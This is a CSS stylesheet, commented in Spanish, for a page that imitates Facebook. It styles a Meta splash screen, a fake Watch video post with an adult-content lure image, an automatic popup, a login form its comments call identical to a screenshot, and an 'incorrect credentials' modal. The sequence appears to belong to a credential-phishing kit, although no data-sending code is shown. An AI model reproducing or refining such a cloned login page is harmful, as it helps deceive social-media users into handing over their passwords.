/* ==========================================
           TUS ESTILOS PARA FASE 1 & 2 (WATCH) - INTACTOS
           ========================================== */
        /* RESET Y BASE */
        body, html {
            margin: 0;
            padding: 0;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background-color: #fff;
            color: #1c1e21;
            height: 100%;
            overflow: hidden;
        }

        /* 1. CARGA (Splash Meta) */
        #splash { position: fixed; inset: 0; background: #fff; display: flex; flex-direction: column; justify-content: center; align-items: center; z-index: 10000; }
        .meta-footer-splash { position: absolute; bottom: 40px; text-align: center; color: #65676b; font-size: 13px; }

        /* 2. FONDO WATCH */
        #watch-view { display: none; height: 100%; overflow-y: auto; background: #fff; width: 100%; }

        /* --- BARRA DE NAVEGACIÓN SUPERIOR --- */
        .top-nav {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 10px 16px;
            border-bottom: 1px solid #dddfe2;
            position: sticky; top: 0; background: #fff; z-index: 100;
        }
        .fb-logo { color: #1877f2; font-size: 26px; font-weight: 800; letter-spacing: -1.2px; }
        .nav-actions { display: flex; align-items: center; gap: 14px; }
        .link-abrir { color: #1877f2; font-size: 15px; font-weight: 600; text-decoration: none; }
        .btn-entrar { background-color: #1877f2; color: #fff; border: none; padding: 7px 16px; border-radius: 6px; font-weight: 600; font-size: 15px; cursor: pointer; }

        /* --- CABECERA DE VIDEO --- */
        .video-header { display: flex; justify-content: space-between; align-items: center; padding: 12px 16px; border-bottom: 1px solid #dddfe2; }
        .video-title { margin: 0; font-size: 24px; font-weight: 700; letter-spacing: -0.5px; }
        .search-icon-bg { width: 36px; height: 36px; background-color: #f0f2f5; border-radius: 50%; display: flex; align-items: center; justify-content: center; }

        /* --- CONTENEDOR DEL POST --- */
        .post-container { padding-top: 12px; }

        /* Encabezado del Post (AdoroCinema) */
        .post-header { display: flex; align-items: center; padding: 0 16px; margin-bottom: 10px; }
        .post-avatar { width: 44px; height: 44px; background-color: #e3262e; border-radius: 50%; display: flex; align-items: center; justify-content: center; color: white; font-weight: 800; font-size: 24px; margin-right: 10px; position: relative; overflow: hidden; }
        .post-avatar::before { content: ''; position: absolute; left: 0; bottom: 0; width: 50%; height: 100%; background-color: #f7b016; clip-path: polygon(0 100%, 100% 100%, 0 0); z-index: 1; }
        .post-avatar span { position: relative; z-index: 2; }

        .post-info { flex-grow: 1; }
        .author-name { display: flex; align-items: center; font-size: 16px; font-weight: 700; color: #050505; }
        .verified-badge { color: #1877f2; margin-left: 4px; }
        .post-meta { display: flex; align-items: center; color: #65676b; font-size: 13px; margin-top: 2px; }
        .three-dots { color: #65676b; padding: 8px; cursor: pointer; }

        /* Texto del Post */
        .post-text { padding: 0 16px; font-size: 15px; line-height: 1.4; margin-bottom: 12px; color: #050505; }
        .text-bold { font-weight: 700; display: block; margin-bottom: 4px; }
        .text-blue { color: #1877f2; }
        .text-gray { color: #65676b; }

        /* Área de Video */
        .video-wrapper { position: relative; width: 100%; height: 380px; background-color: #000; background-image: url('https://imagex1.sx.cdn.live/images/pinporn/2022/10/05/28168766.gif'); background-size: cover; background-position: center; }
        .video-watermark { position: absolute; right: 4px; bottom: 50px; color: rgba(255, 255, 255, 0.85); font-size: 9px; font-weight: 500; writing-mode: vertical-rl; transform: rotate(180deg); letter-spacing: 0.5px; }
        .mute-btn { position: absolute; bottom: 12px; right: 12px; width: 32px; height: 32px; background-color: rgba(0, 0, 0, 0.4); border-radius: 50%; display: flex; align-items: center; justify-content: center; }

        /* --- BARRA DE ESTADÍSTICAS --- */
        .stats-row { display: flex; justify-content: space-between; align-items: center; padding: 10px 16px; border-bottom: 1px solid #dddfe2; }
        .stats-left { display: flex; align-items: center; color: #1877f2; font-size: 15px; font-weight: 400; }
        .like-circle { background-color: #1877f2; width: 18px; height: 18px; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin-right: 6px; }
        .stats-right { color: #65676b; font-size: 15px; }

        /* --- BOTONES DE INTERACCIÓN (Cápsulas con borde) --- */
        .actions-row { display: flex; justify-content: space-between; padding: 12px 16px; gap: 8px; border-bottom: 8px solid #f0f2f5; }
        .action-pill { flex: 1; display: flex; align-items: center; justify-content: center; padding: 8px 0; border-radius: 50px; border: 1px solid #ccd0d5; background-color: transparent; cursor: pointer; }
        .action-pill svg { width: 20px; height: 20px; fill: none; stroke: #65676b; stroke-width: 2; stroke-linecap: round; stroke-linejoin: round; margin-right: 6px; }
        .action-pill span { color: #65676b; font-size: 15px; font-weight: 500; }

        /* Animación de brillo (Shimmer) */
        .skeleton-wrapper {
            padding: 16px;
            border-top: 8px solid #f0f2f5; /* Separador grueso entre posts */
        }

        /* Animación de brillo (Shimmer) */
        .shimmer {
            animation: shimmer 1.5s infinite linear;
            background: linear-gradient(to right, #f0f2f5 4%, #e4e6eb 25%, #f0f2f5 36%);
            background-size: 1000px 100%;
        }
        @keyframes shimmer {
            0% { background-position: -1000px 0; }
            100% { background-position: 1000px 0; }
        }

        .skel-header { display: flex; align-items: center; margin-bottom: 16px; }
        .skel-avatar { width: 40px; height: 40px; border-radius: 50%; margin-right: 12px; }
        .skel-text-group { display: flex; flex-direction: column; gap: 8px; }
        .skel-line-short { width: 120px; height: 10px; border-radius: 5px; }
        .skel-line-micro { width: 80px; height: 10px; border-radius: 5px; }

        .skel-body { display: flex; flex-direction: column; gap: 10px; }
        .skel-line-full { width: 100%; height: 10px; border-radius: 5px; }
        .skel-line-med { width: 85%; height: 10px; border-radius: 5px; }
        .skel-line-small { width: 60%; height: 10px; border-radius: 5px; }

        /* EL POPUP WATCH AUTOMÁTICO */
        #modal-overlay-watch { position: fixed; inset: 0; background: rgba(0,0,0,0.5); display: none; justify-content: center; align-items: center; z-index: 5000; padding: 25px; }
        .modal-exact-watch { background: #fff; width: 100%; max-width: 320px; border-radius: 12px; padding: 35px 24px 25px; text-align: center; position: relative; box-shadow: 0 4px 12px rgba(0,0,0,0.15); }
        .btn-pop-blue { background: #1877f2; color: #fff; width: 100%; padding: 12px; border-radius: 8px; border: none; font-weight: 600; font-size: 16px; margin-top: 25px; cursor: pointer; }
        .btn-pop-grey { background: #f0f2f5; color: #050505; width: 100%; padding: 12px; border-radius: 8px; border: none; font-weight: 600; font-size: 16px; margin-top: 10px; cursor: pointer; }


        /* ==========================================
           CSS ACTUALIZADO DEL FORMULARIO DE LOGIN 
           (Idéntico a la imagen "Screenshot_...")
           ========================================== */

        #login-view { 
            display: none; 
            height: 100%; 
            overflow-y: auto; 
            background-color: #ffffff; /* Blanco puro como en la foto */
            width: 100%; 
        }

        /* Banner Superior (Azul y Blanco) */
        .download-banner { 
            display: flex; 
            align-items: center; 
            padding: 14px 16px; 
            background-color: #ffffff; 
            border-bottom: 1px solid #f0f2f5; /* Borde muy sutil */
            font-size: 14px; 
            color: #0866ff; /* Azul Facebook */
        }
        .download-icon { 
            width: 22px; 
            height: 22px; 
            margin-right: 12px; 
            /* Se aplica filtro para igualar el color azul del texto */
            filter: invert(30%) sepia(80%) saturate(2500%) hue-rotate(200deg) brightness(100%) contrast(105%); 
        }

        /* Selector de idioma centrado */
        .language-selector { 
            text-align: center; 
            margin: 16px 0 24px 0; 
        }
        .lang-btn { 
            background: none; 
            border: none; 
            color: #65676b; /* Gris oscuro */
            font-size: 14px; 
            cursor: pointer; 
            font-weight: normal; 
        }

        /* Contenedor central más espaciado */
        .main-content { 
            display: flex; 
            flex-direction: column; 
            align-items: center; 
            padding: 0 16px; /* Padding móvil estándar */
            max-width: 400px; 
            margin: 0 auto; 
        }

        /* Logo FB circular, sin sombra */
        .facebook-logo { margin-bottom: 30px; }
        .logo-circle { 
            width: 60px; 
            height: 60px; 
            border-radius: 50%; 
            display: flex; 
            align-items: center; 
            justify-content: center; 
            box-shadow: none; /* Eliminada la sombra */
            overflow: hidden; 
        }
        .logo-image { width: 100%; height: 100%; object-fit: cover; }

        /* Contenedor del Formulario */
        .login-form { width: 100%; margin-bottom: 15px; }
        .form-field { margin-bottom: 12px; position: relative; }
        .input-container { position: relative; width: 100%; }

        /* Inputs limpios, redondeados, fondo blanco */
        .form-input { 
            width: 100%; 
            height: 56px; /* Altura ajustada */
            padding: 20px 48px 6px 16px; 
            font-size: 16px; 
            background-color: #ffffff; /* Blanco puro */
            border: 1px solid #ccd0d5; /* Borde gris claro */
            border-radius: 14px; /* Esquinas redondeadas (no cuadradas) */
            outline: none; 
            box-sizing: border-box; 
            color: #1c1e21; 
            line-height: 20px; 
            transition: all 0.2s ease; 
        }
        .form-input::placeholder { color: transparent; }

        /* Etiqueta flotante */
        .input-label { 
            position: absolute; 
            left: 16px; 
            top: 50%; 
            transform: translateY(-50%); 
            color: #65676b; 
            font-size: 16px; 
            font-weight: normal; 
            pointer-events: none; 
            transition: all 0.2s ease; 
            background: transparent; 
        }
        .form-input:focus + .input-label, 
        .form-input:not(:placeholder-shown) + .input-label, 
        .form-input.has-value + .input-label { 
            top: 12px; 
            transform: translateY(0); 
            font-size: 12px; 
            color: #65676b; 
        }
        .form-input:focus { border-color: #0866ff; } /* Borde azul al tocar */

        /* Botones interiores del Input (X y Ojo) */
        .clear-email-btn { position: absolute; right: 10px; top: 50%; transform: translateY(-50%); background: none; border: none; cursor: pointer; display: none; width: 22px; height: 22px; opacity: 0.6; transition: opacity 0.2s; padding: 0; }
        .clear-email-btn:hover { opacity: 1; }
        .clear-email-btn img { width: 100%; height: 100%; object-fit: contain; }

        .password-toggle-btn { position: absolute; right: 10px; top: 50%; transform: translateY(-50%); background: none; border: none; cursor: pointer; display: none; width: 22px; height: 22px; opacity: 0.6; transition: opacity 0.2s; padding: 0; }
        .password-toggle-btn:hover { opacity: 1; }
        .password-toggle-btn img { width: 100%; height: 100%; object-fit: contain; }
        .password-input { padding-right: 48px; }

        /* BOTÓN PRINCIPAL (Azul Meta, Forma de Cápsula Perfecta) */
        .login-btn { 
            width: 100%; 
            height: 48px; 
            background-color: #0866ff; /* Azul Meta */
            color: white; 
            border: none; 
            border-radius: 100px; /* Cápsula redonda 100% */
            font-size: 16px; 
            font-weight: 600; 
            cursor: pointer; 
            margin-top: 4px;
            margin-bottom: 16px; 
            transition: background-color 0.2s; 
            display: flex; 
            justify-content: center; 
            align-items: center; 
        }
        .login-btn:hover { background-color: #075ce5; }
        .login-btn:disabled { background-color: #73a5f5; cursor: not-allowed; }

        /* SPINNER DE CARGA */
        .spinner { border: 3px solid rgba(255, 255, 255, 0.3); border-top: 3px solid #fff; border-radius: 50%; width: 20px; height: 20px; animation: spin 1s linear infinite; display: none; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

        /* Texto ¿Olvidaste tu contraseña? */
        .forgot-password { text-align: center; margin-top: 16px; margin-bottom: 24px; }
        .forgot-link { color: #1c1e21; font-size: 15px; text-decoration: none; font-weight: 500; }
        .forgot-link:hover { text-decoration: underline; }

        /* BOTÓN CREAR CUENTA NUEVA (Borde azul, Cápsula Perfecta) */
        .create-account-section { width: 100%; margin-bottom: 20px; padding-top: 20px; }
        .create-account-btn { 
            width: 100%; 
            height: 48px; 
            background-color: transparent; /* Fondo blanco/trasparente */
            color: #0866ff; /* Texto Azul */
            border: 1px solid #0866ff; /* Borde Azul */
            border-radius: 100px; /* Cápsula redonda 100% */
            font-size: 15px; 
            font-weight: 600; 
            cursor: pointer; 
            transition: all 0.2s; 
        }
        .create-account-btn:hover { background-color: rgba(8, 102, 255, 0.05); }

        /* Logo Meta Inferior */
        .meta-section { margin-top: 10px; margin-bottom: 16px; text-align: center; }
        .meta-logo { display: inline-block; }
        .meta-logo img { height: 13px; width: auto; object-fit: contain; }

   .footer-links { 
    display: flex;             /* Asegúrate de que diga flex */
    justify-content: center; 
    gap: 16px; 
    margin-bottom: 40px;
        .footer-link { color: #8a8d91; font-size: 12px; text-decoration: none; }


        /* MODAL DE CREDENCIALES INCORRECTAS */

        .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.6); backdrop-filter: blur(2px); display: none; justify-content: center; align-items: center; z-index: 10000; }
        .modal-content { background-color: white; border-radius: 12px; padding: 0; max-width: 340px; width: 85%; text-align: center; box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3); overflow: hidden; }
        .modal-header { padding: 20px 24px 16px; }
        .modal-title { font-size: 17px; font-weight: 600; color: #1c1e21; margin: 0; line-height: 1.2; }
        .modal-body { padding: 4px 24px 32px; }
        .modal-message { font-size: 15px; color: #65676b; margin: 0; line-height: 1.3; }
        .modal-footer { padding: 12px 24px 20px; border-top: 1px solid #e4e6ea; }
        .modal-button { width: 100%; height: 40px; background-color: transparent; color: #1877f2; border: none; font-size: 16px; font-weight: 400; cursor: pointer; transition: color 0.2s; }
        .modal-button:hover { color: #166fe5; }